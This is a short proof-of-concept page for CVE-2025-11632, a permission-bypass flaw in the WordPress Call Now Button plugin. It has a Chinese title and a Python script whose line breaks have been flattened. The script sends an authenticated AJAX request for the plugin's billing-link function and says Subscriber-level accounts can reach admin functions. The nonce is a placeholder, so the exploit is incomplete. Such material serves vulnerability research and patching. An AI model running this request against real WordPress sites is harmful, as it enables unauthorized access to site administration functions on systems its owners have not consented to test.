CVE-2025-11632 WordPress Call Now Button插件权限绕过漏洞

import requests import sys # CVE-2025-11632 PoC - WordPress Call Now Button Plugin Privilege Escalation # Authenticated low-privilege users can access admin functions target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Get valid nonce by first accessing admin page session = requests.Session() # Authenticated request examples for different vulnerable functions: # Example 1: Generate billing portal link data = { 'action': 'cnb_get_billing_link', # Vulnerable function '_wpnonce': 'attacker_known_nonce' # May need to obtain valid nonce } response = session.post(ajax_url, data=data) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Note: Requires authenticated session with Subscriber role or higher # The attacker needs a valid WordPress account (easily registrable)